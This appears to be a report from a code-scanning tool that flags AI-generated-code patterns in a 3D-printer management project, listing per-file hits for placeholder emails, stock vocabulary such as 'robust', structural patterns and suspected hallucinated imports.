HIGH	backend/tests/integration/test_spoolman_api.py	create spoolman settings in the database (enabled with url).	STRING
HIGH	…ckend/tests/integration/test_spoolman_inventory_api.py	create spoolman settings in the database (enabled with url).	STRING
HIGH	backend/tests/integration/test_spoolbuddy.py	create spoolman settings in the database (enabled with url).	STRING

Fake / Example Data64 hits · 63 pts

Severity	File	Line	Snippet	Context
LOW	frontend/src/components/CreateUserAdvancedAuthModal.tsx	163	placeholder={t('users.form.emailPlaceholder') \|\| 'user@example.com'}	CODE
LOW	…ntend/src/__tests__/components/SpoolFormModal.test.tsx	289	input.getAttribute('placeholder')?.toLowerCase().includes('spool')	CODE
LOW	…ntend/src/__tests__/components/LdapUserPicker.test.tsx	75	display_name: 'John Doe',	CODE
LOW	frontend/src/__tests__/pages/CloudLoginCaptcha.test.tsx	28	await user.type(await screen.findByPlaceholderText('your@email.com'), 'user@example.com');	CODE
LOW	frontend/src/i18n/locales/zh-TW.ts	3414	emailPlaceholder: 'user@example.com',	CODE
LOW	frontend/src/i18n/locales/pt-BR.ts	3414	emailPlaceholder: 'user@example.com',	CODE
LOW	frontend/src/i18n/locales/zh-CN.ts	3414	emailPlaceholder: 'user@example.com',	CODE
LOW	frontend/src/i18n/locales/en.ts	3455	emailPlaceholder: 'user@example.com',	CODE
LOW	frontend/src/i18n/locales/uk.ts	3454	emailPlaceholder: "user@example.com",	CODE
LOW	frontend/src/i18n/locales/ru.ts	3244	emailPlaceholder: "user@example.com",	CODE
LOW	frontend/src/i18n/locales/ko.ts	3252	emailPlaceholder: 'user@example.com',	CODE
LOW	frontend/src/i18n/locales/ja.ts	3426	emailPlaceholder: 'user@example.com',	CODE
LOW	frontend/src/pages/SettingsPage.tsx	6855	placeholder={t('users.form.emailPlaceholder') \|\| 'user@example.com'}	CODE
LOW	frontend/src/pages/UsersPage.tsx	697	placeholder={t('users.form.emailPlaceholder') \|\| 'user@example.com'}	CODE
LOW	backend/app/api/routes/mfa.py	1927	# and "user@example.com" are treated as the same identity, preventing	COMMENT
LOW⚡	backend/tests/unit/test_cloud_token_expiry.py	277	await store_token(db_session, "brand-new-token", "user@example.com", "global", None)	CODE
LOW⚡	backend/tests/unit/test_cloud_token_expiry.py	285	(CLOUD_EMAIL_KEY, "user@example.com"),	CODE
LOW⚡	backend/tests/unit/test_cloud_token_expiry.py	303	db_session.add(Settings(key=CLOUD_EMAIL_KEY, value="user@example.com"))	CODE
LOW⚡	backend/tests/unit/test_cloud_token_expiry.py	337	assert body["email"] == "user@example.com"	CODE
LOW	backend/tests/unit/test_db_dialect.py	240	assert rows[0] == "user@example.com"	CODE
LOW⚡	backend/tests/unit/test_cloud_captcha_2790.py	96	result = await svc.login_request("user@example.com", "pw")	CODE
LOW⚡	backend/tests/unit/test_cloud_captcha_2790.py	112	result = await svc.verify_code("user@example.com", "123456")	CODE
LOW⚡	backend/tests/unit/test_cloud_captcha_2790.py	132	result = await svc.login_request("user@example.com", "wrong")	CODE
LOW⚡	backend/tests/unit/test_cloud_captcha_2790.py	145	await svc.login_request("user@example.com", "pw")	CODE
LOW⚡	backend/tests/unit/test_cloud_captcha_2790.py	148	result = await svc.login_request("user@example.com", "pw")	CODE
LOW⚡	backend/tests/unit/test_cloud_captcha_2790.py	156	await _service(_response(418, _CAPTCHA_BODY)).login_request("user@example.com", "pw")	CODE
LOW⚡	backend/tests/unit/test_cloud_captcha_2790.py	159	result = await second.login_request("user@example.com", "pw")	CODE
LOW⚡	backend/tests/unit/test_cloud_captcha_2790.py	167	await svc.login_request("user@example.com", "pw")	CODE
LOW⚡	backend/tests/unit/test_cloud_captcha_2790.py	171	result = await svc.login_request("user@example.com", "pw")	CODE
LOW⚡	backend/tests/unit/test_cloud_captcha_2790.py	182	await svc.login_request("user@example.com", "pw")	CODE
LOW⚡	backend/tests/unit/test_cloud_captcha_2790.py	193	await _service(_response(418, _CAPTCHA_BODY)).login_request("user@example.com", "pw")	CODE
LOW⚡	backend/tests/unit/test_cloud_captcha_2790.py	197	result = await cn.login_request("user@example.com", "pw")	CODE
LOW⚡	backend/tests/unit/services/test_ldap_service.py	570	displayName="John Doe",	CODE
LOW⚡	backend/tests/unit/services/test_ldap_service.py	571	cn="John Doe",	CODE
LOW⚡	backend/tests/unit/services/test_ldap_service.py	581	assert results[0].display_name == "John Doe"	CODE
LOW⚡	backend/tests/unit/services/test_ldap_service.py	673	displayName="John Doe",	CODE
LOW⚡	backend/tests/unit/services/test_ldap_service.py	683	assert info.display_name == "John Doe"	CODE
LOW⚡	backend/tests/unit/services/test_email_service.py	220	smtp_username="user@example.com",	CODE
LOW	backend/tests/unit/services/test_email_service.py	233	assert retrieved.smtp_username == "user@example.com"	CODE
LOW⚡	backend/tests/integration/test_advanced_auth_api.py	383	json={"email": "test@test.com"},	CODE
LOW	backend/tests/integration/test_advanced_auth_api.py	17	"smtp_username": "test@test.com",	CODE
LOW⚡	backend/tests/integration/test_mfa_api.py	2075	json={"email": "user@example.com"},	CODE
LOW⚡	backend/tests/integration/test_mfa_api.py	2338	"smtp_username": "test@test.com",	CODE
LOW	backend/tests/integration/test_mfa_api.py	2481	fake_token = {"access_token": "acc_tok", "id_token": "fake.id.token"}	CODE
LOW	backend/tests/integration/test_mfa_api.py	2498	token_resp.json = MagicMock(return_value=fake_token)	CODE
LOW	backend/tests/integration/test_mfa_api.py	2509	mock_signing_key.key = "fake_key"	CODE
LOW	backend/tests/integration/test_mfa_api.py	3576	("preferred_username", True, {"preferred_username": " User@EXAMPLE.COM "}, "user@example.com"),	CODE
LOW	backend/tests/integration/test_mfa_api.py	4092	claims={"sub": "nonstr-sub-1", "preferred_username": ["user@example.com"]},	CODE
LOW	backend/tests/integration/test_mfa_api.py	4153	assert link.provider_email == "user@example.com"	CODE
LOW	backend/tests/integration/test_mfa_api.py	4200	assert link.provider_email == "user@example.com"	CODE
LOW	backend/tests/integration/test_mfa_api.py	4532	fake_token = {"access_token": "acc_tok", "id_token": "fake.id.token"}	CODE
LOW	backend/tests/integration/test_mfa_api.py	4548	token_resp.json = MagicMock(return_value=fake_token)	CODE
LOW	backend/tests/integration/test_mfa_api.py	4559	mock_signing_key.key = "fake_key"	CODE
LOW	backend/tests/integration/test_mfa_api.py	4678	claims={"sub": "spaces-sub-1", "preferred_username": "John Doe"},	CODE
LOW	backend/tests/integration/test_mfa_api.py	4667	"""preferred_username='John Doe' → sanitized to 'JohnDoe'."""	STRING
LOW⚡	backend/tests/integration/test_cloud_auth.py	298	await store_token(db_session, "user-token-abc", "user@example.com", "global", user=user)	CODE
LOW⚡	backend/tests/integration/test_cloud_auth.py	306	assert refreshed.cloud_email == "user@example.com"	CODE
LOW	backend/tests/integration/test_cloud_auth.py	549	json={"email": "user@example.com", "password": "x", "region": "china"},	CODE
LOW	backend/tests/integration/test_cloud_auth.py	572	"email": "user@example.com",	CODE
LOW	…d/tests/integration/test_cloud_token_auth_migration.py	163	admin.cloud_email = "user@example.com"	CODE
4 more matches not shown…

AI Slop Vocabulary19 hits · 47 pts

Severity	File	Line	Snippet	Context
MEDIUM	…end/src/__tests__/components/LibraryTagsModal.test.tsx	94	// In-use message — substring match keeps the test robust to whitespace.	COMMENT
MEDIUM	…end/src/__tests__/pages/InventoryPageLowStock.test.tsx	420	// The exact count cell is rendered separately. Easiest robust assertion:	COMMENT
MEDIUM	tests/e2e_comprehensive_test.py	333	"""Run all comprehensive tests."""	STRING
LOW⚡	backend/app/main.py	2292	# nothing to identify, prompting "+ Add" would just create	COMMENT
MEDIUM	backend/app/api/routes/system.py	407	"""Get comprehensive system information."""	STRING
LOW	backend/app/api/routes/spoolman.py	1211	# identity → confirm would just create a fresh Spoolman row per push.	COMMENT
MEDIUM	backend/app/api/routes/camera.py	905	# reinitialize_database() and lets the test harness's patch of	COMMENT
MEDIUM	backend/app/api/routes/printers.py	1075	# harness's patch of backend.app.core.database.async_session take effect.	COMMENT
MEDIUM	backend/app/api/routes/printers.py	4144	# the publish is the robust ack signal.	COMMENT
LOW	backend/app/api/routes/printers.py	699	# No conversion needed - just use the raw value directly	COMMENT
MEDIUM	backend/app/services/bambu_mqtt.py	4915	# Track RUNNING state for more robust completion detection	COMMENT
MEDIUM	backend/app/services/bambu_mqtt.py	5034	# Use _was_running flag in addition to _previous_gcode_state for more robust detection	COMMENT
LOW	backend/app/services/bambu_mqtt.py	2971	# We've already processed the status fields above, so just return if no ams list	COMMENT
MEDIUM	backend/tests/unit/test_scheduler_nozzle_mismatch.py	193	# cleanup-library harness uses (get_ftp_retry_settings et al. open their own	COMMENT
MEDIUM	backend/tests/unit/test_extract_video_last_frame.py	161	# test fast — patch only inside the call so we don't affect the harness.	COMMENT
LOW⚡	backend/tests/unit/services/test_archive_service.py	729	# When existing is None, just use additional	COMMENT
MEDIUM	backend/tests/integration/test_security.py	117	# by patching _load_or_generate_key directly. This is more robust than	COMMENT
MEDIUM⚡	…/integration/test_users_groups_privilege_escalation.py	159	# Operator attempts to elevate target to admin.	COMMENT
MEDIUM	backend/tests/integration/test_ldap_provision.py	353	# Operators group is auto-seeded by the test harness — no need to create it.	COMMENT

AI Structural Patterns33 hits · 22 pts

Severity	File	Line	Context
LOW	backend/app/api/routes/library.py	2046	CODE
LOW	backend/app/api/routes/print_log.py	51	CODE
LOW	backend/app/api/routes/cloud.py	1409	CODE
LOW	backend/app/api/routes/archives.py	378	CODE
LOW	backend/app/api/routes/archives.py	685	CODE
LOW	backend/app/api/routes/archives.py	859	CODE
LOW	backend/app/api/routes/archives.py	958	CODE
LOW	backend/app/api/routes/archives.py	2801	CODE
LOW	backend/app/api/routes/archives.py	4370	CODE
LOW	backend/app/api/routes/pipeline_runs.py	806	CODE
LOW	backend/app/api/routes/local_backup.py	62	CODE
LOW	backend/app/api/routes/camera.py	1311	CODE
LOW	backend/app/api/routes/notification_templates.py	174	CODE
LOW	backend/app/api/routes/settings.py	1355	CODE
LOW	backend/app/api/routes/printers.py	977	CODE
LOW	backend/app/api/routes/printers.py	2410	CODE
LOW	backend/app/api/routes/notifications.py	254	CODE
LOW	backend/app/services/spoolman.py	673	CODE
LOW	backend/app/services/print_log.py	16	CODE
LOW	backend/app/services/notification_service.py	205	CODE
LOW	backend/app/services/usage_tracker.py	1132	CODE
LOW	backend/app/services/export.py	73	CODE
LOW	backend/app/services/diagnostic_snapshot.py	192	CODE
LOW	backend/app/services/mqtt_smart_plug.py	335	CODE
LOW	backend/app/services/bambu_mqtt.py	1063	CODE
LOW	backend/app/services/bambu_mqtt.py	5406	CODE
LOW	backend/app/services/email_service.py	88	CODE
LOW	backend/app/services/archive.py	1136	CODE
LOW	backend/app/services/printer_manager.py	875	CODE
LOW	backend/app/services/virtual_printer/manager.py	225	CODE
LOW	backend/tests/unit/services/test_printer_diagnostic.py	68	CODE
LOW	backend/tests/integration/test_auth_apikey_rbac.py	298	CODE
LOW	spoolbuddy/daemon/api_client.py	60	CODE

Modern AI Meta-Vocabulary6 hits · 21 pts

Severity	File	Line	Snippet	Context
MEDIUM⚡	backend/app/main.py	5736	# Register bed cooldown waiter (event-driven via on_bed_temp_update callback).	COMMENT
MEDIUM⚡	backend/app/api/routes/pipeline_runs.py	366	# Source resolution + orchestration	COMMENT
MEDIUM	backend/app/api/routes/pipeline_runs.py	589	# set unconditionally since the orchestration actually got here.	COMMENT
MEDIUM	backend/app/api/routes/pipeline_runs.py	972	# orchestration single-sourced. The result inherits parent_run_id. Every	COMMENT
MEDIUM	backend/app/services/bambu_mqtt.py	4356	# Notify bed temperature updates (used by event-driven bed cooldown monitor)	COMMENT
MEDIUM	backend/tests/integration/test_pipeline_runs_api.py	88	# Materialise an empty file on disk so the orchestration's path-exists	COMMENT

Hallucination Indicators2 hits · 20 pts

Severity	File	Line	Snippet	Context
CRITICAL	backend/app/services/ldap_service.py	17	from ldap3.core.exceptions import LDAPObjectClassError	CODE
CRITICAL	backend/tests/unit/services/test_ldap_service.py	14	from ldap3.core.exceptions import LDAPObjectClassError	CODE

Example Usage Blocks9 hits · 12 pts

Severity	File	Line	Snippet	Context
LOW	docker-publish.sh	4	# Usage:	COMMENT
LOW	docker-publish-beta.sh	4	# Usage:	COMMENT
LOW	test_security.sh	6	# Usage:	COMMENT
LOW	docker-compose.yml	5	# Usage:	COMMENT
LOW	docker-publish-daily-beta.sh	4	# Usage:	COMMENT
LOW	install/install.sh	6	# Usage:	COMMENT
LOW	install/docker-install.sh	6	# Usage:	COMMENT
LOW	slicer-api/docker-compose.yml	15	# Usage:	COMMENT
LOW	spoolbuddy/install/install.sh	9	# Usage:	COMMENT

Docstring Block Structure1 hit · 5 pts

Severity	File	Line	Snippet	Context
HIGH	backend/app/services/firmware_check.py	568	Check if a firmware update is available for a printer. Args: model: Printer model name	STRING

Dead Code1 hit · 1 pts

Severity	File	Line	Snippet	Context
MEDIUM	backend/tests/unit/services/test_camera_fanout.py	570		CODE

Analysis Overview

What These Metrics Mean

Score History

Severity Breakdown

Directory Score Breakdown

Pattern Findings